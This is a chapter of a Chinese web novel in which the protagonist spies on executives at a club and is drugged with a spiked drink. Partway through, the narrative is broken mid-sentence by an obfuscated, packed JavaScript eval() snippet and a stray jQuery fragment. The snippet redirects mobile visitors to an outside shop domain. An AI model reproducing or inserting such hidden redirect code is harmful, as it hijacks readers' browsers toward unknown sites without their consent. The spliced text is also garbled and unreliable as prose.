文趣网 > 都市小说 > 高冷霸总今天又在陪老婆演戏 > 15. 礼服的用途当然是结婚喽
    “先生,麻烦手臂抬起来一下。”

    “……”

    岑衍默默把手臂抬到合适的高度,站在全身镜前像个任人摆弄的娃娃一样一动不动。设计师的皮尺围过手臂,随后低声跟旁边的裁缝汇报数据。

    身后,陆行简就坐在沙发上。姿态慵懒地靠着靠垫,双腿交叠,眼神一秒也没离开过岑衍。

    被众星捧月的岑衍身着白衬衣,本就清瘦修长的身型被单薄的衬衣包裹着,更显几分清冷矜贵。站姿优雅,身边是几位礼服师给他测量着尺寸。

    岑衍没什么表情,动作熟练利落。

    他生来就应该是这样的。

    应该享受着这样的服务,应该站在这样的位置上。

    陆行简双眸眯起,看着面前金贵的人,心中情绪浓烈至极。

    “陆总。”一声尊敬的呼唤将他从心里那点见不得人的思绪中抽离出来。陆行简转头,礼服师正恭恭敬敬单膝跪在地毯上,手里捧着一个礼服册子:“您二位的尺寸已经全部量好了,这里是礼服款式,您过目一下。”

    陆行简接过,抬头看了眼岑衍。

    岑衍在工作人员的服侍下穿上了外套,听见这边的动静,连看都没看一样。表明了让陆行简自己决定。

    获得了许可的陆行简在册子上点了几下。

    “这几个,都做黑白的。”

    礼服师点点头,手上飞快记录着。

    “明白了陆总,方便问一下,您订这几套礼服的用途是什么呢?我们会根据不同的用途来做一些小的设计更改。”

    这一次,岑衍扭头了。

    陆行简声音明显带着欣喜,终于有人问了。唇角扬起道:“结婚。”

    岑衍:“…………”

    室内明显陷入了一秒寂静。

    “我走了。”岑衍换上衣服扭头就要走,颇有种不想被当异类围观的意思在。

    “回家?”

    “不回。”岑衍道:“今天有事。”

    话落,岑衍又觉得太单调太冷漠了,难得补充一句:“晚上你自己吃吧。”

    补上一句后听着更冷漠了。

    但陆行简这人思路比较清奇。只见他挑眉,眼底是明晃晃的调侃:“这是报备吗?”

    “………”

    不该给他任何好脸色的。

    岑衍头也不回就走了。身后陆行简早有预料,笑道:“有事记得联系我。”

    。

    出乎岑衍意料,陆行简没有对他的行程有过多的关注。本来他还准备了一套说辞糊弄过去,现在看来也用不上了。

    岑衍出了高定设计工作室,垂眸拿出手机,细细地又看了一遍地址。

    「江都市中心区,鎏金私人会所。」

    「今天晚上22点。」

    这是伯父在那天电话后加密发给他的地址———一个极其繁华、高消费的酒吧会所。同时还会提供一些不齿的业务,顾客群体上到名流人士、下到社会人士,鱼龙混杂。

    恒远的那十几个高层就经常出入这里。

    岑衍收了手机,迎着落日的最后一丝微光向前走去。

    。

    “我操,你们疯了吧?我们来了多少次了?顶级vip,你让我们这么多人坐大厅??”

    鎏金会所内,一个带着怒气的男声炸响。身后跟着十几个西装革履的男人,各个面上不满混着怒火。面前的经理连连赔着不是,鞠躬道歉,就差双膝一跪求饶命了。

    “对不起,对不起……我们这边系统故障,没有加载出来您的预约记录,您看……”

    “光说对不起有个屁用啊?!我们人都到齐了还搞这一出,你们他妈…………”

    闪烁炫彩的灯光,音乐声震耳欲聋。但这群人闹出的声响完全盖过了歌声,引得大厅里的散客好奇地连连望去。

    岑衍背对着这群人,坐在吧台前的角落。

    他换了一身大学生样式的休闲服,黑框眼镜一戴,看起来只是哪里来的清秀大学生喝酒解闷。

    岑衍仰头,壮似无意灌了一口酒。

    从那群人进门的第一时间岑衍就听出来了,是恒远的人。

    说起来,他们暴怒的反应都要归功于岑大少爷。

    在查清地点后,岑衍利用为数不多的人脉,黑进了会所系统,将恒远高层一行人的预约记录全部消除。再安排了别人将今天晚上的包厢全部订满。岑衍知道,一旦这群人进了包厢他就什么消息都打探不到了。

    所以岑衍要做的,就是让他们不得不在大厅里凑活喝一次。而自己则在角落偷听,看看能不能有些有利线索。

    谨慎的岑少还换了一身休闲类衣服,生怕被当时拍卖会遇到的王总和李洋认出来。

    岑衍很笃定,他们一定舍不得走。

    “李哥……人家好不容易见您一次,可想您了。”

    只见李洋身边靠着一位楚楚可怜的女人,暴露的包臀裙,浓妆艳抹,身材凹凸有致。就这么直直贴在李洋的身上。

    是这间会所提供的特殊服务,也是李洋捧在心尖上的一个新欢。

    不止李洋,恒远那一行人几乎每个人都怀里抱着一位婀娜多姿的陪酒女,说着好话哄他们开心消气。这群男人们就算生气也舍不得冲怀里这群温香软玉撒气。再加上几句娇滴滴的挽留,便都舍不得走了。

    “哎……”就听为首的男人叹了口气,语气烦闷:“那大厅也行吧,给我们安排个大一点的卡座总可以吧?”

    经理如释重负,腰都要弯成九十度了:“可以可以,真是对不住您,今天给您打五折,里面请……”

    闹剧收场,一行人浩浩荡荡走去,岑衍选的位置刚好在大卡座的正前方,说话声音能比较清晰传入他耳中。

    岑衍微不可查地侧头,余光扫视着恒远这群人的身影。

    一、二、三、四………十二、十三。

    岑衍在心里默数着。

    少一个。

    他眉头蹙了起来。

    这种公司内部私人活动也不参加吗?那人究竟是什么来头。

    身后,恒远的十几个人落座,伴随着陪酒女的娇笑,气氛重新热络起来。方才吃瓜的散客也都继续闷头喝酒聊天,很快便把这个插曲忘了。

    岑衍一动不动,只低头喝着酒,让自己毫不显眼地隐藏在人堆中。

    从互相恭维,又聊到业务,再吐槽吐槽家中妻女。中间穿插着偶尔调戏女伴的声音。岑衍听了大半个小时,不仅一条有用信息都没听到,还反倒被这群人恶心到了。

    “……”

    岑衍烦躁地又要了杯酒。

    “…诶,今天老板怎么没来啊。”

    蓦地,身后清晰地传来这样一句话,岑衍轻微一震,身子都挺直了些,全神贯注。

    “害…那可是秦总,哪有空来这里啊。”

    秦总。

    能让这么多高层喊着老板、总裁的,除了那位迟迟不露面的神秘高层还能有谁呢?

    岑衍将这个名字深深刻在了脑海中。

    而那群聊天的人似乎格外不愿意多说关于这位秦总的事情,几个人打了个哈哈敷衍过去,便开启了下一个

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17823584|211205||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    话题。

    这里到底还是公共场合,他们说话还是谨慎为主。

    岑衍明白再听下去也不会有收获了。又过了一会才站起身,从包里掏出卡:

    “结账。”

    岑衍冲着侍应生一点头,声音压低,没有让后面的人听到。

    “先生,等一下。”忽地,面前调酒师喊住了他。岑衍眉心一跳。

    “刚才后面那桌有人想请您喝一杯。”调酒师彬彬有礼,声音却不容拒绝:“您再稍等一下,马上就好。”

    “……”岑衍手微微蜷缩一下,他侧头余光扫过身后卡座。不是那个王总,也不是李洋。他注意到了另一个并不熟悉的男人冲他投来的目光。

    所幸,至少不是暴露了。

    岑衍心中暗自松了一口气。

    那男人明显已经是微醺的状态了,大概只是想来搭讪。如果他这个时候走,也许会被人拦下。到时候被王总或者李洋认出就麻烦了。

    岑衍身子微微僵硬,却仍是顺从地重新坐了回去,抿唇思量着对策。

    啪。一声轻响,调酒师把一杯淡黄色的鸡尾酒放在桌面上。

    “您的酒。”

    伴随着酒而来的是背后那道炙热的视线,直直投在岑衍身上。那人要亲眼看着岑衍喝下才放心。

    酒液透亮,冰块浮在表面泛着细碎微光,照入岑衍瞳孔中。他眼眸垂下,手指在桌面上无意识敲动几下。

    是承担未知的风险,还是现在离席暴露,从今往后失去深入调查恒远的机会?

    这两个选项根本没有可比性。

    半晌,酒杯被岑衍拿起,他的手指骨节因为用力而发白。只见岑衍仰头,把这杯不明不白的酒一饮而尽。

    背后的视线更加灼热了,岑衍装作完全没有注意到,泰然自若。而手上动作迅速,在那人看不见的地方,他迅速将定位分享出去。

    手指在「伯父」这个联系人选项上停顿一瞬,下一秒,他向下划去。

    联系人:陆行简。

    岑衍:「定位·中心区鎏金会所」

    信息发送成功。

    岑衍动作一顿,似乎也不明白自己为什么在这种危机时刻想的是陆行简,但眼下场面没功夫让他思考太多了。放在桌上的手略微发颤,体内那杯酒的热意丝毫未减,从胃里渐渐蔓延至全身。

    如果陆行简在他身边,会发现岑衍那张白皙干净的脸上现在正泛着不正常的红晕。

    岑衍无意识摁了摁太阳穴,却连抬手的这种动作都觉得虚弱无力。

    意识到自己的身体状况后,岑衍后背都窜上来一股凉意,硬生生驱散了几分燥热。

    药?

    这是他预想过最坏的事情发展。

    可这杯酒没有经过别人的手,除非……

    岑衍呼吸不自觉带了点急促,目光冰冷地望向那位正在调酒的调酒师。只见调酒师余光隐蔽扫了他一眼,又立刻收回视线。

    难怪,原来是一伙的。

    药劲比岑衍想象中更大,不过几秒钟,视野就已经泛起眩晕,一阵阵冲击着大脑。岑衍手摁住吧台桌面,强迫自己站起身。

    不能在这里失态,不能引起身后恒远那群人的注意。

    岑衍感受着身后那道黏腻恶心的视线,紧咬着唇向会所内的洗手间走去。他的自制力极其强大,哪怕在这种时候也还保持着体面,别人不细看根本看不出来他的狼狈。

    要快。

    心跳如擂。岑衍低喘着,撑着虚软的腿,心中只有一个念头。

    撑到陆行简来就好了。